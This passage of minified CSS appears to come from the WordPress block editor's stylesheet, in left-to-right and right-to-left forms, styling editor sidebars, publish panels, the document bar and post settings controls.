auto;max-width:780px;padding:20px}.editor-inserter-sidebar{box-sizing:border-box;display:flex;flex-direction:column;height:100%}.editor-inserter-sidebar *,.editor-inserter-sidebar :after,.editor-inserter-sidebar :before{box-sizing:inherit}.editor-inserter-sidebar__header{display:flex;justify-content:flex-end;padding-right:8px;padding-top:8px}.editor-inserter-sidebar__content{height:calc(100% - 44px)}@media (min-width:782px){.editor-inserter-sidebar__content{height:100%}}.editor-list-view-sidebar{display:flex;flex-direction:column;height:100%}@media (min-width:782px){.editor-list-view-sidebar{width:350px}}.editor-list-view-sidebar .edit-post-editor__document-overview-panel__header{border-bottom:1px solid #ddd;display:flex}.editor-list-view-sidebar .editor-list-view-sidebar__close-button{align-self:center;background:#fff;margin-right:8px;order:1}.editor-list-view-sidebar__tabs-tablist{box-sizing:border-box;flex-grow:1}.editor-list-view-sidebar__tabs-tab{margin-bottom:-1px;width:50%}.editor-list-view-sidebar__tabs-tabpanel{height:calc(100% - 47px)}.editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{height:100%;overflow:auto;padding:8px 6px;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:auto;scrollbar-width:thin;will-change:transform}.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar{height:12px;width:12px}.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-track,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-track{background-color:initial}.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.editor-list-view-sidebar__list-view-container>.document-outline:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:hover::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:hover::-webkit-scrollbar-thumb{background-color:#949494}.editor-list-view-sidebar__list-view-container>.document-outline:focus,.editor-list-view-sidebar__list-view-container>.document-outline:focus-within,.editor-list-view-sidebar__list-view-container>.document-outline:hover,.editor-list-view-sidebar__list-view-panel-content:focus,.editor-list-view-sidebar__list-view-panel-content:focus-within,.editor-list-view-sidebar__list-view-panel-content:hover{scrollbar-color:#949494 #0000}@media (hover:none){.editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{scrollbar-color:#949494 #0000}}.editor-list-view-sidebar__list-view-container{display:flex;flex-direction:column;height:100%}.editor-list-view-sidebar__tab-panel{height:100%}.editor-list-view-sidebar__outline{border-bottom:1px solid #ddd;display:flex;flex-direction:column;gap:8px;padding:16px}.editor-list-view-sidebar__outline>div>span:first-child{display:inline-block;width:90px}.editor-list-view-sidebar__outline>div>span{color:#757575;font-size:12px;line-height:1.4}.editor-post-author__panel{padding-top:8px}.editor-post-author__panel .editor-post-panel__row-control>div{width:100%}.editor-post-excerpt__textarea{margin-bottom:10px;width:100%}.editor-post-featured-image{padding:0}.editor-post-featured-image .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.editor-post-featured-image .components-responsive-wrapper__content{max-width:100%;width:auto}.editor-post-featured-image__container{position:relative}.editor-post-featured-image__container:focus .editor-post-featured-image__actions,.editor-post-featured-image__container:focus-within .editor-post-featured-image__actions,.editor-post-featured-image__container:hover .editor-post-featured-image__actions{opacity:1}.editor-post-featured-image__preview,.editor-post-featured-image__toggle{box-shadow:0 0 0 0 var(--wp-admin-theme-color);display:flex;justify-content:center;max-height:150px;overflow:hidden;padding:0;transition:all .1s ease-out;width:100%}@media (prefers-reduced-motion:reduce){.editor-post-featured-image__preview,.editor-post-featured-image__toggle{transition-delay:0s;transition-duration:0s}}.editor-post-featured-image__preview{height:auto}.editor-post-featured-image__preview .components-responsive-wrapper{background:#f0f0f0;width:100%}.editor-post-featured-image__toggle{background-color:#f0f0f0;border-radius:2px;line-height:20px;min-height:90px;padding:8px 0;text-align:center}.editor-post-featured-image__toggle:hover{background:#ddd;color:#1e1e1e}.editor-post-featured-image__actions{bottom:0;opacity:0;padding:8px;position:absolute;transition:opacity 50ms ease-out}@media (prefers-reduced-motion:reduce){.editor-post-featured-image__actions{transition-delay:0s;transition-duration:0s}}.editor-post-featured-image__action{-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background:#ffffffbf;flex-grow:1;justify-content:center}[class].editor-post-format__suggestion{margin:4px 0 0}.editor-post-last-revision__title{font-weight:500;width:100%}.editor-post-last-revision__title.components-button.has-icon{height:100%;justify-content:space-between}.editor-post-last-revision__title.components-button.has-icon:active,.editor-post-last-revision__title.components-button.has-icon:hover{background:#f0f0f0}.editor-post-last-revision__title.components-button.has-icon:focus{border-radius:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-panel__body.is-opened.editor-post-last-revision__panel{height:48px;padding:0}.components-panel__body.is-opened.editor-post-last-revision__panel .editor-post-last-revision__title.components-button.components-button{padding:16px}.editor-post-locked-modal__buttons{margin-top:24px}.editor-post-locked-modal__avatar{border-radius:2px;margin-top:16px;min-width:auto!important}.editor-post-panel__row{align-items:flex-start!important;justify-content:flex-start!important;min-height:40px;width:100%}.editor-post-panel__row-label{align-items:center;display:flex;flex-shrink:0;min-height:40px;width:30%}.editor-post-panel__row-control{align-items:center;display:flex;flex-grow:1;min-height:40px}.editor-post-publish-button__button.has-changes-dot:before{background:currentcolor;border-radius:4px;content:"";height:8px;margin:auto 5px auto -3px;width:8px}.editor-post-publish-panel{background:#fff}.editor-post-publish-panel__content{min-height:calc(100% - 144px)}.editor-post-publish-panel__content>.components-spinner{display:block;margin:100px auto 0}.editor-post-publish-panel__header{align-content:space-between;align-items:center;background:#fff;border-bottom:1px solid #ddd;display:flex;height:61px;padding-left:16px;padding-right:16px}.editor-post-publish-panel__header .components-button{justify-content:center;width:100%}.editor-post-publish-panel__header .has-icon{margin-left:auto;width:auto}.components-site-card{align-items:center;display:flex;margin:16px 0}.components-site-icon{border:none;border-radius:2px;height:36px;margin-right:12px;width:36px}.components-site-name{display:block;font-size:14px}.components-site-home{color:#757575;display:block;font-size:12px}.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{flex:1}@media (min-width:480px){.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{max-width:160px}}.editor-post-publish-panel__header-publish-button{padding-right:4px}.editor-post-publish-panel__header-cancel-button{padding-left:4px}.editor-post-publish-panel__header-published{flex-grow:1}.editor-post-publish-panel__footer{padding:16px}.components-button.editor-post-publish-panel__toggle.is-primary{align-items:center;display:inline-flex}.components-button.editor-post-publish-panel__toggle.is-primary.is-busy .dashicon{display:none}.components-button.editor-post-publish-panel__toggle.is-primary .dashicon{margin-right:-4px}.editor-post-publish-panel__link{font-weight:400;padding-left:4px}.editor-post-publish-panel__prepublish{padding:16px}.editor-post-publish-panel__prepublish strong{color:#1e1e1e}.editor-post-publish-panel__prepublish .components-panel__body{background:#fff;margin-left:-16px;margin-right:-16px}.editor-post-publish-panel__prepublish .editor-post-visibility__dialog-legend{display:none}.post-publish-panel__postpublish .components-panel__body{border-bottom:1px solid #e0e0e0;border-top:none}.post-publish-panel__postpublish-buttons{align-content:space-between;display:flex;flex-wrap:wrap;gap:16px}.post-publish-panel__postpublish-buttons .components-button{flex:1;justify-content:center}.post-publish-panel__postpublish-buttons .components-clipboard-button{width:100%}.post-publish-panel__postpublish-post-address-container{align-items:flex-end;display:flex;margin-bottom:16px}.post-publish-panel__postpublish-post-address-container .post-publish-panel__postpublish-post-address{flex:1}.post-publish-panel__postpublish-post-address-container input[readonly]{background:#f0f0f0;border-color:#ccc;height:36px;overflow:hidden;padding:12px;text-overflow:ellipsis}.post-publish-panel__postpublish-post-address__copy-button-wrap{flex-shrink:0;margin-left:16px}.post-publish-panel__postpublish-header{font-weight:500}.post-publish-panel__postpublish-subheader{margin:0 0 8px}.post-publish-panel__tip{color:#f0b849}@media screen and (max-width:782px){.post-publish-panel__postpublish-post-address__button-wrap .components-button{height:40px}}.editor-post-saved-state{align-items:center;color:#757575;display:flex;overflow:hidden;padding:12px 4px;white-space:nowrap;width:28px}.editor-post-saved-state.is-saved[aria-disabled=true],.editor-post-saved-state.is-saved[aria-disabled=true]:hover,.editor-post-saved-state.is-saving[aria-disabled=true],.editor-post-saved-state.is-saving[aria-disabled=true]:hover{background:#0000;color:#757575}.editor-post-saved-state svg{display:inline-block;flex:0 0 auto;fill:currentColor;margin-right:8px}@media (min-width:600px){.editor-post-saved-state{padding:8px 12px;text-indent:inherit;width:auto}.editor-post-saved-state svg{margin-right:0}}.editor-post-save-draft.has-text.has-icon svg{margin-right:0}.editor-post-schedule__panel-dropdown{width:100%}.editor-post-schedule__dialog .components-popover__content{min-width:320px;padding:16px}.editor-post-schedule__dialog-toggle.components-button{display:block;height:auto;line-height:16px;max-width:100%;overflow:hidden;padding:10px 12px;text-align:left;white-space:unset}.editor-post-sync-status__value{padding:6px 0 6px 12px}.editor-post-taxonomies__hierarchical-terms-list{margin-left:-6px;margin-top:-6px;max-height:14em;overflow:auto;padding-left:6px;padding-top:6px}.editor-post-taxonomies__hierarchical-terms-choice{margin-bottom:8px}.editor-post-taxonomies__hierarchical-terms-choice:last-child{margin-bottom:4px}.editor-post-taxonomies__hierarchical-terms-subchoices{margin-left:16px;margin-top:8px}.editor-post-taxonomies__flat-term-most-used .editor-post-taxonomies__flat-term-most-used-label{margin-bottom:4px}.editor-post-taxonomies__flat-term-most-used-list{margin:0}.editor-post-taxonomies__flat-term-most-used-list li{display:inline-block;margin-right:8px}.editor-post-taxonomies__flat-term-most-used-list .components-button{font-size:12px}.editor-post-template__swap-template-modal{z-index:1000001}.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px;padding-top:2px}@media (min-width:782px){.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{column-count:4}}.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{box-shadow:0 0 0 1px #ddd}.editor-post-template__dropdown .components-popover__content{min-width:240px}.editor-post-template__dropdown .components-button.is-pressed,.editor-post-template__dropdown .components-button.is-pressed:hover{background:inherit;color:inherit}@media (min-width:782px){.editor-post-template__create-form{width:320px}}.editor-post-template__classic-theme-dropdown{padding:8px}.edit-post-text-editor__body textarea.editor-post-text-editor{border:1px solid #949494;border-radius:0;box-shadow:none;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:16px!important;line-height:2.4;margin:0;min-height:200px;overflow:hidden;padding:16px;resize:none;transition:border .1s ease-out,box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.edit-post-text-editor__body textarea.editor-post-text-editor{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.edit-post-text-editor__body textarea.editor-post-text-editor{font-size:15px!important;padding:24px}}.edit-post-text-editor__body textarea.editor-post-text-editor:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);position:relative}.edit-post-text-editor__body textarea.editor-post-text-editor::-webkit-input-placeholder{color:#1e1e1e9e}.edit-post-text-editor__body textarea.editor-post-text-editor::-moz-placeholder{color:#1e1e1e9e;opacity:1}.edit-post-text-editor__body textarea.editor-post-text-editor:-ms-input-placeholder{color:#1e1e1e9e}.edit-post-text-editor__body .editor-post-title.is-raw-text{margin-bottom:24px;margin-top:2px;max-width:none}.editor-post-url__panel-dropdown{width:100%}.components-button.editor-post-url__panel-toggle{display:block;max-width:100%;overflow:hidden;text-align:left;text-overflow:ellipsis;white-space:nowrap}.editor-post-url__panel-dialog .editor-post-url{margin:8px;min-width:248px}.editor-post-url__link-label{font-size:13px;font-weight:400;margin:0}.editor-post-url__link{direction:ltr;word-break:break-word}.editor-post-url__link-slug{font-weight:600}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{border:1px solid #1e1e1e;border-radius:2px;border-radius:50%;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:24px;line-height:normal;margin-right:12px;margin-top:2px;padding:6px 8px;transition:box-shadow .1s linear;transition:none;width:24px}@media (prefers-reduced-motion:reduce){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{font-size:13px;line-height:normal}}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-webkit-input-placeholder{color:#1e1e1e9e}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{height:20px;width:20px}}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{background-color:#fff;border:4px solid #fff;box-sizing:inherit;height:8px;margin:0;transform:translate(7px,7px);width:8px}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{transform:translate(5px,5px)}}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.editor-post-visibility__fieldset .editor-post-visibility__info{color:#757575;margin-left:36px;margin-top:.5em}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__info{margin-left:32px}}.editor-post-visibility__fieldset .editor-post-visibility__choice:last-child .editor-post-visibility__info{margin-bottom:0}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;margin-left:32px;padding:6px 8px;transition:box-shadow .1s linear;width:calc(100% - 32px)}@media (prefers-reduced-motion:reduce){.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{font-size:13px;line-height:normal}}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-webkit-input-placeholder{color:#1e1e1e9e}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:-ms-input-placeholder{color:#1e1e1e9e}.editor-post-trash.components-button{flex-grow:1;justify-content:center}.editor-preview-dropdown__button-external{display:flex;justify-content:space-between;width:100%}.table-of-contents__popover.components-popover .components-popover__content{min-width:380px}.components-popover.table-of-contents__popover{z-index:99998}.table-of-contents__popover .components-popover__content{padding:16px}@media (min-width:600px){.table-of-contents__popover .components-popover__content{max-height:calc(100vh - 120px);overflow-y:auto}}.table-of-contents__popover hr{margin:10px -16px 0}.table-of-contents__wrapper:focus:before{bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.table-of-contents__counts{display:flex;flex-wrap:wrap;margin:-8px 0 0}.table-of-contents__count{color:#1e1e1e;display:flex;flex-basis:33%;flex-direction:column;font-size:13px;margin-bottom:0;margin-top:8px;padding-right:8px}.table-of-contents__count:nth-child(4n){padding-right:0}.table-of-contents__number,.table-of-contents__popover .word-count{color:#1e1e1e;font-size:21px;font-weight:400;line-height:30px}.table-of-contents__title{display:block;font-size:15px;font-weight:600;margin-top:20px}.editor-template-validation-notice{align-items:center;display:flex;justify-content:space-between}.editor-template-validation-notice .components-button{margin-left:5px}@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.editor-autocompleters__user .editor-autocompleters__no-avatar:before{content:"";font:normal 20px/1 dashicons;margin-left:5px;vertical-align:middle}.editor-autocompleters__user .editor-autocompleters__user-avatar{flex-grow:0;flex-shrink:0;height:24px;margin-left:8px;max-width:none;width:24px}.editor-autocompleters__user .editor-autocompleters__user-name{flex-grow:1;flex-shrink:0;max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-autocompleters__user .editor-autocompleters__user-slug{color:#757575;flex-grow:0;flex-shrink:0;margin-right:8px;max-width:100px;overflow:none;text-overflow:ellipsis;white-space:nowrap}.editor-autocompleters__user:hover .editor-autocompleters__user-slug{color:var(--wp-admin-theme-color)}.editor-block-manager__no-results{font-style:italic;padding:24px 0;text-align:center}.editor-block-manager__search{margin:16px 0}.editor-block-manager__disabled-blocks-count{background-color:#fff;border:1px solid #ddd;border-width:1px 0;box-shadow:32px 0 0 0 #fff,-32px 0 0 0 #fff;padding:8px;position:sticky;text-align:center;top:-5px;z-index:2}.editor-block-manager__disabled-blocks-count~.editor-block-manager__results .editor-block-manager__category-title{top:31px}.editor-block-manager__disabled-blocks-count .is-link{margin-right:12px}.editor-block-manager__category{margin:0 0 24px}.editor-block-manager__category-title{background-color:#fff;padding:16px 0;position:sticky;top:-4px;z-index:1}.editor-block-manager__category-title .components-checkbox-control__label{font-weight:600}.editor-block-manager__checklist{margin-top:0}.editor-block-manager__category-title,.editor-block-manager__checklist-item{border-bottom:1px solid #ddd}.editor-block-manager__checklist-item{align-items:center;display:flex;justify-content:space-between;margin-bottom:0;padding:8px 16px 8px 0}.components-modal__content .editor-block-manager__checklist-item.components-checkbox-control__input-container{margin:0 8px}.editor-block-manager__checklist-item .block-editor-block-icon{margin-left:10px;fill:#1e1e1e}.editor-block-manager__results{border-top:1px solid #ddd}.editor-block-manager__disabled-blocks-count+.editor-block-manager__results{border-top-width:0}.editor-document-bar{align-items:center;background:#f0f0f0;border-radius:4px;display:flex;height:32px;justify-content:space-between;min-width:0;width:min(100%,450px)}.editor-document-bar:hover{background-color:#e0e0e0}.editor-document-bar .components-button{border-radius:4px}.editor-document-bar .components-button:hover{background:#e0e0e0;color:var(--wp-block-synced-color)}@media (min-width:960px){.editor-document-bar{width:min(100%,450px)}}.editor-document-bar__command{color:var(--wp-block-synced-color);flex-grow:1;overflow:hidden}.editor-document-bar__title{color:#2f2f2f;flex-grow:1;overflow:hidden}@media (min-width:600px){.editor-document-bar__title{padding-right:32px}}.editor-document-bar.is-global .editor-document-bar__title,.editor-document-bar__title:hover{color:var(--wp-block-synced-color)}.editor-document-bar__title .block-editor-block-icon{flex-shrink:0;min-width:24px}.editor-document-bar__title h1{color:currentColor;max-width:50%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-document-bar.is-animated.has-back-button .editor-document-bar__title{animation:editor-document-bar__slide-in-left .3s}@media (prefers-reduced-motion:reduce){.editor-document-bar.is-animated.has-back-button .editor-document-bar__title{animation-delay:0s;animation-duration:1ms}}.editor-document-bar.is-animated .editor-document-bar__title{animation:editor-document-bar__slide-in-right .3s}@media (prefers-reduced-motion:reduce){.editor-document-bar.is-animated .editor-document-bar__title{animation-delay:0s;animation-duration:1ms}}.editor-document-bar__shortcut{color:#2f2f2f;display:none;min-width:32px}@media (min-width:782px){.editor-document-bar__shortcut{display:initial}}.editor-document-bar__back.components-button.has-icon.has-text{color:#757575;flex-shrink:0;gap:0;min-width:36px;position:absolute;z-index:1}.editor-document-bar__back.components-button.has-icon.has-text:hover{background-color:initial;color:var(--wp-block-synced-color)}.editor-document-bar.is-animated .editor-document-bar__back.components-button.has-icon.has-text{animation:editor-document-bar__slide-in-left .3s}@media (prefers-reduced-motion:reduce){.editor-document-bar.is-animated .editor-document-bar__back.components-button.has-icon.has-text{animation-delay:0s;animation-duration:1ms}}@keyframes editor-document-bar__slide-in-right{0%{opacity:0;transform:translateX(15%)}to{opacity:1;transform:translateX(0)}}@keyframes editor-document-bar__slide-in-left{0%{opacity:0;transform:translateX(-15%)}to{opacity:1;transform:translateX(0)}}.document-outline{margin:20px 0}.document-outline ul{margin:0;padding:0}.document-outline__item{display:flex;margin:4px 0}.document-outline__item a{text-decoration:none}.document-outline__item .document-outline__emdash:before{color:#ddd;margin-left:4px}.document-outline__item.is-h2 .document-outline__emdash:before{content:"—"}.document-outline__item.is-h3 .document-outline__emdash:before{content:"——"}.document-outline__item.is-h4 .document-outline__emdash:before{content:"———"}.document-outline__item.is-h5 .document-outline__emdash:before{content:"————"}.document-outline__item.is-h6 .document-outline__emdash:before{content:"—————"}.document-outline__button{align-items:flex-start;background:none;border:none;border-radius:2px;color:#1e1e1e;cursor:pointer;display:flex;margin:0 -1px 0 0;padding:2px 1px 2px 5px;text-align:right}.document-outline__button:disabled{cursor:default}.document-outline__button:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.document-outline__level{background:#ddd;border-radius:3px;color:#1e1e1e;font-size:13px;margin-left:4px;padding:1px 6px}.is-invalid .document-outline__level{background:#f0b849}.document-outline__item-content{padding:1px 0}.editor-document-outline.has-no-headings{color:#757575;text-align:center}.editor-document-outline.has-no-headings>svg{margin-top:28px}.editor-document-outline.has-no-headings>p{padding-left:32px;padding-right:32px}.editor-document-tools{align-items:center;display:inline-flex}.editor-document-tools .editor-document-tools__left>.components-button{display:none}@media (min-width:600px){.editor-document-tools .editor-document-tools__left>.components-button{display:inline-flex}}.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle{display:inline-flex}.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}@media (prefers-reduced-motion:reduce){.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle svg{transition-delay:0s;transition-duration:0s}}.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.is-pressed svg{transform:rotate(-45deg)}.editor-document-tools .block-editor-list-view{display:none}@media (min-width:600px){.editor-document-tools .block-editor-list-view{display:flex}}.editor-document-tools .editor-document-tools__left>.components-button.has-icon,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon{height:32px;min-width:32px;padding:4px}.editor-document-tools .editor-document-tools__left>.components-button.has-icon.is-pressed,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon.is-pressed{background:#1e1e1e}.editor-document-tools .editor-document-tools__left>.components-button.has-icon:focus:not(:disabled),.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid #0000}.editor-document-tools .editor-document-tools__left>.components-button.has-icon:before,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:before{display:none}.editor-document-tools__left{align-items:center;display:inline-flex;gap:8px;margin-left:8px;padding-right:16px}@media (min-width:782px){.editor-document-tools__left{padding-right:20px}}@media (min-width:1280px){.editor-document-tools__left{padding-left:8px}}.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.has-icon{height:32px;min-width:32px;padding:0;width:32px}.show-icon-labels .editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.has-icon{height:32px;padding:0 8px;width:auto}.show-icon-labels .editor-document-tools__left>*+*{margin-right:8px}.components-editor-notices__dismissible,.components-editor-notices__pinned{color:#1e1e1e;left:0;position:relative;right:0;top:0}.components-editor-notices__dismissible .components-notice,.components-editor-notices__pinned .components-notice{border-bottom:1px solid #0003;box-sizing:border-box;min-height:60px;padding:0 12px}.components-editor-notices__dismissible .components-notice .components-notice__dismiss,.components-editor-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}.entities-saved-states__panel-header{background:#fff;border-bottom:1px solid #ddd;box-sizing:border-box;height:60px;padding-left:8px;padding-right:8px}.entities-saved-states__text-prompt{padding:16px 16px 4px}.entities-saved-states__text-prompt .entities-saved-states__text-prompt--header{display:block;margin-bottom:12px}.entities-saved-states__description-heading{font-size:13px}.entities-saved-states__changes{color:#757575;font-size:12px;list-style:disc;margin:8px 16px 0}.entities-saved-states__changes li{margin-bottom:4px}.editor-error-boundary{box-shadow:0 .7px 1px #00000026,0 2.7px 3.8px -.2px #00000026,0 5.5px 7.8px -.3px #00000026,-.1px 11.5px 16.4px -.5px #00000026;margin:60px auto auto;max-width:780px;padding:20px}.editor-inserter-sidebar{box-sizing:border-box;display:flex;flex-direction:column;height:100%}.editor-inserter-sidebar *,.editor-inserter-sidebar :after,.editor-inserter-sidebar :before{box-sizing:inherit}.editor-inserter-sidebar__header{display:flex;justify-content:flex-end;padding-left:8px;padding-top:8px}.editor-inserter-sidebar__content{height:calc(100% - 44px)}@media (min-width:782px){.editor-inserter-sidebar__content{height:100%}}.editor-list-view-sidebar{display:flex;flex-direction:column;height:100%}@media (min-width:782px){.editor-list-view-sidebar{width:350px}}.editor-list-view-sidebar .edit-post-editor__document-overview-panel__header{border-bottom:1px solid #ddd;display:flex}.editor-list-view-sidebar .editor-list-view-sidebar__close-button{align-self:center;background:#fff;margin-left:8px;order:1}.editor-list-view-sidebar__tabs-tablist{box-sizing:border-box;flex-grow:1}.editor-list-view-sidebar__tabs-tab{margin-bottom:-1px;width:50%}.editor-list-view-sidebar__tabs-tabpanel{height:calc(100% - 47px)}.editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{height:100%;overflow:auto;padding:8px 6px;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:auto;scrollbar-width:thin;will-change:transform}.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar{height:12px;width:12px}.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-track,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-track{background-color:initial}.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.editor-list-view-sidebar__list-view-container>.document-outline:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:hover::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:hover::-webkit-scrollbar-thumb{background-color:#949494}.editor-list-view-sidebar__list-view-container>.document-outline:focus,.editor-list-view-sidebar__list-view-container>.document-outline:focus-within,.editor-list-view-sidebar__list-view-container>.document-outline:hover,.editor-list-view-sidebar__list-view-panel-content:focus,.editor-list-view-sidebar__list-view-panel-content:focus-within,.editor-list-view-sidebar__list-view-panel-content:hover{scrollbar-color:#949494 #0000}@media (hover:none){.editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{scrollbar-color:#949494 #0000}}.editor-list-view-sidebar__list-view-container{display:flex;flex-direction:column;height:100%}.editor-list-view-sidebar__tab-panel{height:100%}.editor-list-view-sidebar__outline{border-bottom:1px solid #ddd;display:flex;flex-direction:column;gap:8px;padding:16px}.editor-list-view-sidebar__outline>div>span:first-child{display:inline-block;width:90px}.editor-list-view-sidebar__outline>div>span{color:#757575;font-size:12px;line-height:1.4}.editor-post-author__panel{padding-top:8px}.editor-post-author__panel .editor-post-panel__row-control>div{width:100%}.editor-post-excerpt__textarea{margin-bottom:10px;width:100%}.editor-post-featured-image{padding:0}.editor-post-featured-image .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.editor-post-featured-image 